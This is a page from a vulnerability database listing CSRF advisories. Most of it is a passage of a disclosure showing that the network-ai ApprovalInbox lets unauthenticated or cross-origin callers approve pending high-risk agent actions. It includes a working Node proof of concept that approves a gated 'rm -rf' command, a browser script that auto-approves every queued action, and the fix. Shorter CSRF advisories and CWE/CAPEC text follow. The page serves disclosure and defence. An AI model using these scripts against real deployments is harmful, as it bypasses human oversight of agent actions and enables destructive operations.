`ACAO: *` is hardcoded \u2014 an operator cannot configure their way out of it.\n\n### Why the wildcard CORS matters\n\nThe two routes needed for exploitation are reachable cross-origin:\n- `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids.\n- `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: \u2026POST\u2026`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `\u0027anonymous\u0027`, so no special body is required.\n\nSo a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.\n\n## Proof of Concept\n\nSelf-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** client.\n\n```bash\nmkdir na-poc \u0026\u0026 cd na-poc \u0026\u0026 npm init -y \u003e/dev/null \u0026\u0026 npm i network-ai@5.11.0\nnode poc.mjs\n```\n`poc.mjs`:\n```js\nimport { ApprovalInbox } from \"network-ai\";\nimport http from \"node:http\";\n\nconst PORT = 7798;\nconst req = (method, path, body) =\u003e new Promise((resolve, reject) =\u003e {        // plain client \u2014 NO Authorization header\n  const data = body ? JSON.stringify(body) : undefined;\n  const r = http.request({ host: \"127.0.0.1\", port: PORT, method, path,\n    headers: data ? { \"Content-Type\": \"application/json\", \"Content-Length\": Buffer.byteLength(data) } : {} },\n    (res) =\u003e { let b = \"\"; res.on(\"data\", c =\u003e b += c); res.on(\"end\", () =\u003e { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });\n  r.on(\"error\", reject); if (data) r.write(data); r.end();\n});\n\nconst inbox = new ApprovalInbox();\nconst gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action\ninbox.startServer(PORT, \"127.0.0.1\");                          // the documented \"web-accessible approval queue\"\nawait new Promise(r =\u003e setTimeout(r, 150));\n\nlet resolved = false;\nconst decisionP = gate({ action: \"shell_execute\", target: \"rm -rf /important/data\",\n  agentId: \"worker-1\", justification: \"cleanup\", riskLevel: \"high\" }).then(d =\u003e (resolved = true, d));\nconsole.log(\"Gated dangerous action pending human approval. resolved =\", resolved);\n\nconst list = await req(\"GET\", \"/approvals/?status=pending\");   // attacker enumerates pending approvals\nconst id = list.json[0].id;\nconst approve = await req(\"POST\", `/approvals/${id}/approve`, { approvedBy: \"attacker\" });  // and approves one\nconsole.log(\"[attacker] GET /approvals/  (no auth) -\u003e\", list.status, \"ids:\", list.json.map(e =\u003e e.id));\nconsole.log(\"[attacker] POST /approvals/\" + id + \"/approve (no auth) -\u003e\", approve.status, approve.json?.status);\nconst decision = await decisionP;\nconsole.log(\"\u003e\u003e\u003e gate decision delivered to agent:\", JSON.stringify(decision), \"| WIPED WITHOUT AUTH:\", decision.approved \u0026\u0026 resolved);\n```\nOutput:\n```\nGated dangerous action pending human approval. resolved = false\n[attacker] GET /approvals/  (no auth) -\u003e 200 ids: [ \u002707d6f277efe35ac1\u0027 ]\n[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -\u003e 200 approved\n\u003e\u003e\u003e gate decision delivered to agent: {\"approved\":true,\"approvedBy\":\"attacker\"} | WIPED WITHOUT AUTH: true\n```\n\nThe gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` \u2014 the agent proceeds.\n\nBrowser CSRF variant (no tooling, just a visited page):\n```html\n\u003cscript\u003e\nfetch(\u0027http://127.0.0.1:PORT/approvals/?status=pending\u0027)      // ACAO:* -\u003e readable\n  .then(r =\u003e r.json())\n  .then(list =\u003e list.forEach(e =\u003e\n    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {\n      method: \u0027POST\u0027, headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n      body: JSON.stringify({ approvedBy: \u0027attacker\u0027 })          // preflight passes via ACAO:*\n    })));\n\u003c/script\u003e\n```\n\n## Impact\n\nThe Approval Gate is the package\u0027s human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend \u2014 SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:\n- **Approve** any pending gated action \u2192 the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed).\n- **Read** pending requests (`GET /approvals`, `/stats`) \u2192 disclosure of queued action details (command strings, file paths, justifications).\n- **Deny** pending actions \u2192 suppress legitimate operations.\n\nThe attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox \u2014 which is the inbox\u0027s documented purpose (\"web-accessible approval queue\").\n\n## Alignment with the security policy \u0026 documentation (in scope; not intended/documented behavior)\n\nThis finding does not contradict any documented design choice \u2014 it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:\n\n- **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under \"Security Measures in Network-AI\" \u2014 *\"`ApprovalInbox` provides a web-accessible approval queue with REST API (`/list`, `/approve/:id`, `/deny/:id`, `/stats`)\"* \u2014 and `README.md` / `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *\"writes, shell commands, budget spend\"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior.\n- **The project\u0027s own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` \u00a73.1 designs against an *\"Unauthenticated Network Caller\"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server \u2014 but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations.\n- **Direct precedent \u2014 the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** (\"Unauthenticated Cross-Origin MCP Tool Invocation,\" fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening.\n- **No carve-out covers it.** The threat model\u0027s Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don\u0027t apply, and the documented ClawHub \"by-design\" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated \u2014 the approval inbox is a **control plane**, not inter-agent transport.\n- **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So \"the operator should add auth / restrict CORS\" is not available \u2014 there is no hook to do so. And \"it\u0027s opt-in / operator-exposed\" did not exempt the MCP server, which is equally optional and explicitly started.\n\n**Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium\u2013High \u2014 but it is squarely the same class, on the same kind of surface, that the project\u0027s threat model and prior advisories already treat as a vulnerability.\n\n## Recommended fix\n\n1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `/approve`, `/deny`, and ideally the list/stats/SSE routes \u2014 mirroring the hardening already applied to `McpSseServer`/`McpHttpServer`.\n2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes.\n3. Optionally add a CSRF token / require a non-simple custom header on `POST` to block browser-driven approval.\n\n## References\n- [CWE-862](https://cwe.mitre.org/data/definitions/862.html), [CWE-352](https://cwe.mitre.org/data/definitions/352.html)\n- Affected: `lib/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve/deny, `startServer` l.281); exported at `index.ts:1126`.\n- Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation \u2014 fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening.\n- Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under \"Security Measures\"; Approval Gate = human-in-the-loop for \"writes, shell commands, budget spend\"), `THREAT_MODEL.md` \u00a73.1 (\"Unauthenticated Network Caller\" adversary + its mitigations), `README.md` / `ENTERPRISE.md` (\"web-accessible approval queue\"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.\n- Disclosure: GitHub private security advisory (Jovancoding/Network-AI \u2192 Security \u2192 \"Report a vulnerability\"), per SECURITY.md.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer \u003csecret\u003e` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.\n\nAll 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.",
  "id": "GHSA-mxjx-28vx-xjjj",
  "modified": "2026-06-19T21:42:32Z",
  "published": "2026-06-19T21:42:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-mxjx-28vx-xjjj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: ApprovalInbox HTTP server has no authentication \u2014 anyone can approve pending agent actions "
}

GHSA-MXM9-67RP-4X9V

Vulnerability from github – Published: 2022-05-17 05:18 – Updated: 2022-05-17 05:18
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in SAMEDIA LandShop 0.9.2 allows remote attackers to hijack the authentication of administrators for requests that change account settings.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-5898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-11-17T21:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in SAMEDIA LandShop 0.9.2 allows remote attackers to hijack the authentication of administrators for requests that change account settings.",
  "id": "GHSA-mxm9-67rp-4x9v",
  "modified": "2022-05-17T05:18:45Z",
  "published": "2022-05-17T05:18:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5898"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/80800"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/files/111415/Landshop-0.9.2-Cross-Site-Scripting-SQL-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48661"
    },
    {
      "type": "WEB",
      "url": "http://vulnerability-lab.com/get_content.php?id=485"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/18687"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MXMG-64WJ-2JP8

Vulnerability from github – Published: 2022-05-17 03:26 – Updated: 2022-05-17 03:26
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in Cisco Unity Connection 11.5(0.98) allows remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCux24578.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-6408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-12-12T16:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in Cisco Unity Connection 11.5(0.98) allows remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCux24578.",
  "id": "GHSA-mxmg-64wj-2jp8",
  "modified": "2022-05-17T03:26:53Z",
  "published": "2022-05-17T03:26:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6408"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20151209-uc"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/78875"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1034379"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
  • Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Mitigation
Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Mitigation
Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Mitigation
Architecture and Design
  • Use the "double-submitted cookie" method as described by Felten and Zeller:
  • When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
  • Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
  • This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Architecture and Design

Do not use the GET method for any request that triggers a state change.

Mitigation
Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-467: Cross Site Identification

An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list